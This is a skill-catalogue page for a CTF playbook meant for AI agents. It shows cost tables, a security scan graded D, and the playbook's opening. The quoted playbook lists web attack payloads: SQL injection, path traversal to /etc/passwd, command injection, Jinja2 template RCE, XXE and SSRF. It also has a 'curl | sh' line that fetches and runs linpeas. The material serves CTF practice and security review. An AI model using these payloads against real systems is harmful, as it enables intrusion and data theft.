Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/kalpmodi/akiranpx agentmods add skills/kalpmodi/akira/ctfWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/kalpmodi/akira/ctf)<a href="https://agentmods.dev/skills/kalpmodi/akira/ctf"><img src="https://agentmods.dev/badge/skills/kalpmodi/akira/ctf.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00104 | $0.04475 |
| Opus 5 | $0.00052 | $0.02237 |
| Sonnet 5 | $0.00021 | $0.00895 |
| Haiku 4.5 | $0.00010 | $0.00447 |
Grade D, and why
ctf scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo nmap -sV -sC -O -p- <IP> -oA initial Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
# Automated: curl -s http://linpeas.sh | sh (or upload and run) Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl "https://<target>/login?user=admin'--&pass=x" How it starts
The opening of the file, as written. The whole thing — 478 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CTF Challenge Playbook
Philosophy
CTF = time-limited puzzle solving. Speed + methodology beats random exploration. Always read challenge description twice - the hint is usually there. Try the obvious first: base64, ROT13, strings, default creds, common exploits. Never brute force blindly - enumerate first, understand the intended path.
Arguments
<challenge> - challenge name or description
<category> - WEB / CRYPTO / PWN / RE / FORENSICS / OSINT / STEGO / MISC / FULL
Phase 1 - Triage & First Look (ALL Categories)
# Universal first steps for any CTF challenge:
# 1. Read everything in the challenge description
# Author usually hints at the vulnerability or technique needed
# 2. File identification
file challenge.*
xxd challenge | head -20 # hex dump first 20 lines
strings challenge | head -50 # printable strings
binwalk challenge # embedded files/archives
# 3. grep for flag format immediately
strings challenge | grep -i "CTF{\|FLAG{\|HTB{\|picoCTF{\|flag{"
grep -r "CTF{\|FLAG{\|HTB{" ./ 2>/dev/null
# 4. Check for metadata
exiftool challenge.*
steghide info challenge.jpg 2>/dev/null
# 5. Common quick wins (try before deeper analysis):
base64 -d <<< "<suspected_b64>"
echo "<hex>" | xxd -r -p
echo "<rot13>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Phase 2 - Web Exploitation (CTF Edition)
# Web CTF quick checklist:
# 1. View page source (Ctrl+U) - look for comments, hidden fields, flag in HTML
# 2. Check robots.txt, sitemap.xml, .git/ exposure
# 3. Check cookies (base64? JWT? pickle serialization?)
# 4. Check HTTP headers (X-Flag, X-Debug, etc.)
# CTF-specific web vulnerabilities:
## SQL Injection (single-quote test):
curl "https://<target>/login?user=admin'--&pass=x"
# Union-based (if error-based):
curl "https://<target>/search?q=1' UNION SELECT 1,2,3--"
# Blind (if no output):
curl "https://<target>/search?q=1' AND SLEEP(5)--"
## LFI/Path Traversal (extremely common in CTFs):
curl "https://<target>/page?file=../../../../etc/passwd"
curl "https://<target>/page?file=....//....//etc/passwd"
curl "https://<target>/page?file=php://filter/convert.base64-encode/resource=/etc/flag"
curl "https://<target>/page?file=php://filter/read=string.rot13/resource=/etc/flag"
## Command Injection:
curl "https://<target>/ping?host=127.0.0.1;cat /flag"
curl "https://<target>/exec?cmd=id"
curl "https://<target>/ping?host=127.0.0.1%60cat+/flag%60"
## SSTI (Server-Side Template Injection):
# Test: {{7*7}}, ${7*7}, #{7*7}, *{7*7}
curl "https://<target>/greet?name={{7*7}}"
# Jinja2 RCE: {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
## JWT attacks (decode -> modify -> resign):
python3 -c "
import base64, json
tok = '<jwt>'
h = json.loads(base64.urlsafe_b64decode(tok.split('.')[0] + '=='))
p = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=='))
print('Header:', json.dumps(h, indent=2))
print('Payload:', json.dumps(p, indent=2))
"
# Try alg:none (remove signature), alg confusion (RS256->HS256)
## SSRF:
curl "https://<target>/fetch?url=http://localhost:8080/flag"
curl "https://<target>/fetch?url=file:///etc/flag"
## XXE (XML processing):
curl -X POST "https://<target>/parse" -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY f SYSTEM "file:///flag">]><x>&f;</x>'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 478 lines · 104 tokens per session scan D a3839df468db
ctf is a skill published in the GitHub repository kalpmodi/akira (21 stars, last pushed 1mo ago), licensed MIT. It adds 104 tokens to every session and 4,475 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it D with 3 findings (asks for root, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
performing-aws-privilege-escalation-assessment
Performing authorized privilege escalation assessments in AWS environments to identify IAM misconfigurations that allow users or roles to elevate their permissions using Pacu, CloudFox, Principal Mapper, and manual IAM policy analysis techniques.
performing-cloud-penetration-testing-with-pacu
Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.
conducting-cloud-penetration-testing
This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF…
performing-kubernetes-penetration-testing
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools.
conducting-full-scope-red-team-engagement
Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.
llm-prompt-injection
Use when testing an authorized LLM application for prompt injection, system-prompt exposure, unsafe tool use, or RAG data-boundary failures.